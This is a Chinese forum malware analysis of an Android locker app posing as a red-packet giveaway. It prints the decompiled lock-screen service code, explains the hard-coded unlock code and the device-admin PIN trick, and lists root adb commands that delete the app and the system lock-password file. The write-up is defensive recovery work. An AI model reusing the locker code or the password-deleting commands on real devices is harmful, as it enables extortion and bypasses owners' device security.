对锁机APP"秒领20元红包"的逆向分析
本帖最后由 wnagzihxain 于 2016-7-23 15:35 编辑这个样本和昨天的样本基本一样,不过有些地方有改动,改的也很有意思
昨天侧重样本的代码分析,今天侧重如何解决
报告名称:对锁机APP"秒领20元红包"的逆向分析 作者:wnagzihxain 报告更新日期:2016.7.17样本发现日期:不详 样本类型:锁机 样本文件大小/被感染文件变化长度: 样本文件MD5 校验值: 样本文件SHA1 校验值: 壳信息:无 可能受到威胁的系统:安卓 相关漏洞:无
已知检测名称:无
一个有点意思也有点脑残的锁机,安装完后如图
打开后会要求激活
点击激活立刻锁屏,然而并不能找到解锁序列码,输入框以及按钮
这就是有点意思的地方
然后来看代码,上Jeb,MainActivity里隐式意图启动激活设备管理器,刚刚也看到了
来看重写的设备管理器的方法
激活后会触发onEnable()方法,启动s.class,并且设置锁屏PIN码为8985
来看com.h.spackage com.h;
import android.app.Application;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences$Editor;
import android.media.MediaPlayer;
import android.net.NetworkInfo;
import android.os.IBinder;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View$OnClickListener;
import android.view.WindowManager;
import android.view.WindowManager$LayoutParams;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
public class LockScreen extends Service {
class 100000000 extends Thread {
private final LockScreen this$0;
100000000(LockScreen arg6) {
super();
LockScreen.this = arg6;
}
static LockScreen access$0(100000000 arg4) {
return arg4.this$0;
}
public void run() {
}
}
class buttonListener implements View$OnClickListener {
private final LockScreen this$0;
buttonListener(LockScreen arg6) {
super();
LockScreen.this = arg6;
}
static LockScreen access$0(buttonListener arg4) {
return arg4.this$0;
}
@Override public void onClick(View arg10) {
buttonListener buttonListener_this = this;
buttonListener s$1000000011 = buttonListener_this;
try {
if(!s$1000000011.this$0.edittext.getText().toString().equals(buttonListener_this.this$0
.du.decrypt(buttonListener_this.this$0.sharedpreferences.getString("passw",
"")))) {
return;
}
buttonListener_this.this$0.mWindowManager.removeView(buttonListener_this.this$0.mFloatLayout);
buttonListener_this.this$0.stopSelf();
}
catch(Exception exception0) {
}
}
}
Button button;
DU du;
EditText edittext;
SharedPreferences$Editor editor;
private View mFloatLayout;
private WindowManager mWindowManager;
long pass;
Long passw;
String password;
String ppss;
SharedPreferences sharedpreferences;
TextView textview;
private WindowManager$LayoutParams wmParams;
public LockScreen() {
super();
}
static WindowManager access$L1000001(LockScreen arg4) {
return arg4.mWindowManager;
}
static View access$L1000002(LockScreen arg4) {
return arg4.mFloatLayout;
}
static void access$S1000001(LockScreen arg6, WindowManager arg7) {
arg6.mWindowManager = arg7;
}
static void access$S1000002(LockScreen arg6, View arg7) {
arg6.mFloatLayout = arg7;
}
private void c() {
LockScreen LockScreen_this = this;
LockScreen_this.wmParams = new WindowManager$LayoutParams();
Application application0 = LockScreen_this.getApplication();
LockScreen_this.getApplication();
LockScreen_this.mWindowManager = application0.getSystemService(Context.WINDOW_SERVICE);
LockScreen_this.wmParams.type = 2010;
LockScreen_this.wmParams.format = 1;
LockScreen_this.wmParams.flags = 1280;
LockScreen_this.wmParams.gravity = 49;
LockScreen_this.wmParams.x = 0;
LockScreen_this.wmParams.y = 0;
LockScreen_this.wmParams.width = -1;
LockScreen_this.wmParams.height = -1;
LockScreen_this.mFloatLayout = LayoutInflater.from(LockScreen_this.getApplication()).inflate(
2130903041, null);
MediaPlayer mediaPlayer0 = MediaPlayer.create(LockScreen_this, 2131099648);
mediaPlayer0.setLooping(true);
mediaPlayer0.start();
LockScreen_this.mWindowManager.addView(LockScreen_this.mFloatLayout, LockScreen_this.wmParams);
LockScreen_this.button = LockScreen_this.mFloatLayout.findViewById(2131361794);
LockScreen_this.edittext = LockScreen_this.mFloatLayout.findViewById(2131361793);
LockScreen_this.textview = LockScreen_this.mFloatLayout.findViewById(2131361792);
LockScreen LockScreen_this = LockScreen_this;
try {
LockScreen_this.edittext.setHint(LockScreen_this.du.decrypt("jj一点解锁"));
LockScreen_this.textview.append(LockScreen_this.du.decrypt("你的嫖娼号"));
}
catch(Exception exception0) {
}
LockScreen_this.button.setOnClickListener(new buttonListener(LockScreen_this));
LockScreen_this = LockScreen_this;
try {
LockScreen_this.textview.append(new StringBuffer().append("\n").append(LockScreen_this.du
.decrypt("jj挫折")).toString());
LockScreen_this.textview.append(new StringBuffer().append(new StringBuffer().append("\n")
.append(LockScreen_this.du.decrypt("嫖娼号")).toString()).append(LockScreen_this.sharedpreferences
.getLong("m", ((long)0))).toString());
}
catch(Exception exception0) {
}
}
public boolean is(Context arg8) {
boolean bool;
Context context0 = arg8;
if(context0 != null) {
NetworkInfo networkInfo0 = context0.getSystemService("connectivity").getActiveNetworkInfo();
if(networkInfo0 != null) {
bool = networkInfo0.isAvailable();
}
else {
goto label_17;
}
}
else {
label_17:
bool = false;
}
return bool;
}
@Override public IBinder onBind(Intent arg5) {
return null;
}
@Override public void onCreate() {
LockScreen LockScreen_this = this;
super.onCreate();
LockScreen_this.pass = ((long)(Math.random() * (((double)0))));
LockScreen_this.passw = new Long(LockScreen_this.pass + (((long)10086)));
LockScreen_this.du = new DU("des");
LockScreen LockScreen_this = LockScreen_this;
try {
LockScreen_this.du = new DU(LockScreen_this.du.decrypt("78d30a56e58aa1de"));
}
catch(Exception exception0) {
}
LockScreen_this.sharedpreferences = LockScreen_this.getSharedPreferences("Flowers", 0);
LockScreen_this.editor = LockScreen_this.sharedpreferences.edit();
LockScreen_this.getApplication().getSystemService("vibrator").vibrate(new long[]{((long)100), ((
long)1500), ((long)100), ((long)1500)}, 0);
if(LockScreen_this.sharedpreferences.getLong("m", ((long)0)) == (((long)0))) {
LockScreen_this.editor.putLong("m", LockScreen_this.pass);
LockScreen_this.editor.commit();
LockScreen_this = LockScreen_this;
try {
LockScreen_this.editor.putString("passw", LockScreen_this.du.encrypt(new StringBuffer()
.append("").append(LockScreen_this.passw).toString()));
LockScreen_this.editor.commit();
}
catch(Exception exception0) {
}
if(LockScreen_this.is(LockScreen_this.getApplicationContext())) {
LockScreen_this.ppss = new StringBuffer().append(LockScreen_this.sharedpreferences.getLong(
"m", ((long)8))).append("").toString();
LockScreen_this = LockScreen_this;
LockScreen LockScreen_this = LockScreen_this;
try {
LockScreen_this.password = LockScreen_this.du.decrypt(LockScreen_this.sharedpreferences
.getString("passw", ""));
}
catch(Exception exception0) {
}
new 100000000(LockScreen_this).start();
return;
}
LockScreen_this = LockScreen_this;
try {
LockScreen_this.editor.putLong("m", Long.parseLong(LockScreen_this.du.decrypt("5a15e58cc8db8d1c700ecb6bb7b627a9")));
LockScreen_this.editor.commit();
LockScreen_this.editor.putString("passw", "2f5f3cf33e866794f4f01661bc09771ddf29c0be98ac17bc");
LockScreen_this.editor.commit();
}
catch(Exception exception0) {
}
}
}
@Override public void onStart(Intent arg8, int arg9) {
super.onStart(arg8, arg9);
this.c();
}
}这是一个Server,Server在第一次启动会执行onCreate(),然后执行onStartCommand(),在以后的启动中只会执行onStartCommand()
这两个值会加密并且存入sharedpreferences文件,对应的键分别为m和passw
所以这样咋一看,锁屏界面没有锁屏序列码,而且序列码加密写进了sharedpreferences文件,虽然知道了解锁密码的计算方法,想要弄出序列号并解密还是比较折腾的
但是仔细看看生成锁屏序列码的代码,后面是乘0,所以这个随机数是0,解锁密码就是10086
这就是脑残的地方
知道了解锁密码,然后就要找到输入框和按钮了
当然也有可能没有输入框和按钮,想要知道有没有输入框和按钮,只要找代码里有没有button的Listener方法就行
是有的,当然要找有没有这些控件不仅仅只限于在这里找button的Listener方法,还可以找xml里面有没有EditText和Button的标签,还可以找代码里有没有定义这些控件
因为反编译不能直接把对应的id标出来,所以需要自己找一下
进入Jeb的R,这三个对应的控件id,bt,ed,tv,这三个id名就是xml里的id名
找到xml,并且找到对应的id
但是重点在于et和bt,et的宽高非常小,大概在中间的位置
而button,背景用的是image_2.png
来看看这张图片是什么
所以那张二维码就是一个button
刚刚那个EditText的位置有些同学可能不是很清楚在哪里,我有个办法,下次遇到这种东西,直接建立一个工程,把资源文件全部拷贝进去,看到在哪了吗?
好了,目前位置,我们找出了解锁密码,输入框和按钮,来解锁吧
输入10086,成功进入界面
接下来进行删除,因为激活了设备管理器,所以需要先取消激活
但是取消激活的时候会锁屏
来看对应的代码,取消激活的时候会锁屏,锁屏密码是8985
所以输入8985就可以解开了,然后就可以愉快的卸载了
但是我们的分析不能到这里就结束,在最开头说这是一个有点意思也有点脑残的锁机样本,但是下次如果作者在生成序列号的时候不是乘0呢?
那么解锁密码就是randomNumber+10086
但是锁机序列号加密写进了sharedpreferences文件,我们只有分析出解密算法才能得到解锁密码
从代码可以看出来,这是DES加密,加密的密钥也被加密了,不过这个加密密钥的密钥是"des"
写代码解密也可以,就是太费劲了,直接插桩Toast出解锁密码,插桩的位置放button的Listener那里就可以了,那里会把最终的解锁密码解密跟输入的进行对比
加密后的解锁密码
当然除了算解锁密码之外,还有一种办法
首先数据线连接电脑和手机,cmd执行$ adb shell然后删除com.h-1.apk,名字可以进入这个目录自己确定,可能会不同root@android: #/ rm data/app/com.h-1.apk然后删除data/data下的com.hroot@android:/ # rm -rf data/data/com.h最后清除锁屏密码root@android:/ # rm data/system/password.key上面都执行成功的话,重启就行了
最后:下次想用什么“神器”,“利器”,“秒赞”,“免流”。。。。。。的时候,先在模拟器里安装一下不定期的会录制一些视频分享调试的一些心得:移动恶意APP分析的心得分享
Gordon0918 发表于 2016-7-25 10:45
话说大神可不可以分享下样本呢
我分析使用的样本全部来自论坛的病毒救援区 zhangD 发表于 2016-7-18 08:41
这个溜溜溜。。。。啊哈哈,学习一下 分析分析,请问这个是什么加密。。。。
写了阿,DES 前排留名 观看大神 大神论坛有你更安全辛苦了谢谢 分析nb,大神好赞~! 分析nb,大神好赞~! 可以的。。。。。。。。。。。。。。。。。。。。。。。。 厉害呀,佩服,现在锁屏都这么高级了 学习了 {:1_912:}大神
对锁机APP"秒领20元红包"的逆向分析 学到了~~谢谢